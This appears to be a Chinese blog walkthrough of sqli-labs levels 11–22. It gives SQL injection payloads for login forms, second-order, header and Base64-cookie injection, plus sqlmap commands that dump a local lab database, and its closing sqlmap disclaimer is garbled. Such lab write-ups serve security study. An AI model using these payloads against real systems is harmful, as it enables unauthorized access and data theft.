打靶场,打靶场,打靶场,打靶场......靶场你别打我 球球
11.不用密码(狂喜)
这一关知不知道账号密码都无所谓
那么我们就尝试一下报错类型,单引号报错,好,字符型
构造poc
I_don_t_know_the_information ' or 1=1 --+
这样就能返回整个表的信息,但是她只会显示一行
或者你还可以
admin'#
这样就可以直接爆出管理员的密码(当然实战是不可能给你回显的,你要通过构造or来获取密码)
12.有个)还有个"
这一关你直接尝试单引号闭合的话就会发现是行不通的,查看源码就能发现是这样
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
- 他的意思就是将得到的uname和passwd先用 " 包裹,然后再加上一个) ,如果我们直接拼接单引号或者双引号的话就会出现下面的代码:
@$sql="SELECT username, password FROM users WHERE username=("admin"") and password=("1111") LIMIT 0,1";
根本就达不到注释掉后面的语句的后果 ,所以要这样构造poc
admin")--+
这样才能达到注释掉密码的效果
13.啊?啊这
这,这,这........
不就是上一关将双引号改成单引号???不多赘述
14.啊,啊?你再考什么?
又一题无语题,当我尝试单引号闭合,发现没有报错,双引号闭合,发现报错了
于是就拼接一个poc? 这???? 啊,你再考什么
15.报错?玩的就是真实
这一关,你会发现你怎么构造poc 它都是没有报错,但是你只要构造一条poc
admin' #
就会发现能过了!!! 其实现实生活中也是,网站一般都是不会返回报错信息的,需要你的耐心和经验去绕waf
16. ")#
正如标题,这句poc就是 不多说,下一题!!
admin") #
17.二次注入&&passwd绕过
其实一开始我是没有想到passwd绕过的,于是就先来讲讲二次注入
一开始可以先看到它的改密码的界面
- 首先有两个账号 一个admin 一个admin'# ,admin的密码为admin ,admin'#的密码是123
- 然后去将admin‘# 的密码修改成1234
就会发生二次注入!!
然后就是passwd绕过,上源码!!
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
其中涉及到的check_input()是它自己写的函数,基本上防住了sql注入!!
但是好笑的是他不过滤passwd的传入
再来看一眼源代码
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
那么就这样构造poc
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
可以爆出它的数据库路径
但是但是!!!!!,你的poc千万不要这么写
test' #
写了你就等着进橘子,不要问我怎么知道的(艹,手贱)
18.UA注入
参考我的上一篇文章
19.Refer头注入
还是参考我的上一篇文章
20.Cookie注入
继续参考我上一篇文章(梅开三度)
21.Base64&&Cookie
在我们登录之后,我们可以抓到一个这种包,所以就发现是cookie注入
盲猜是base64编码,去解码一下就会发现
因为是插入,我们可以构造这样的poc ,记得编码
' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))--+
但是发现报错了,还看见有一个) 那就构造另一类poc
' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))#
突然想起来,好像没有讲过他的原理!那就先来讲一下他原理
嘻嘻
就是在插入之中,如果我们插入了能执行的函数的话,他会去执行这个函数
就像这样!!
所以当我们传入extractvalue的时候他也会去执行
22.Cookie注入&& "
这一关其实就是和上面的一关差不多 ,就是将’ 变成了”
所以就可以写出这样一个poc ,记得base64编码
" and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and "
SQLMap的基本用法
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"
Declaration:这个工具可不能乱用,可能会被封IP,而且 里面的risk等级
1.对于url是get请求
就拿第一关来说
先用第一句探测是否存在sql注入
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"
看的出来,存在注入
然后就是第二句
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" --dbs ;
这样就会给你爆出表名
第三步选一个表 然后 进行第三句poc
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security --tables;
最后就是脱库了
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security -T users --dump ;
2.对于是POST请求
就拿sqli的第十关来举例,先将这个包复制下来,在一个文件夹复制下来
然后在存在sql注入的地方 例如上面的uname 后面的值替换成 *
然后输入poc
python sqlmap.py -r "D://1.txt" ;
然后后面的就和get相同了
3.然后就是还有一些参数
最后最后,就是 --risk 那里不要设置为三 不然有可能你就把人家整个表给删掉了或者更新掉了
[!]legal disclaimer: Usage of sqlmap for attacking targets without prior mutualconsents responsibility to obey all applicable local, state and federal laws. Developersassumenosible for any misuse or damage caused by this program
is illegal.It is theend userliability and are not respon!!!!!!!!!!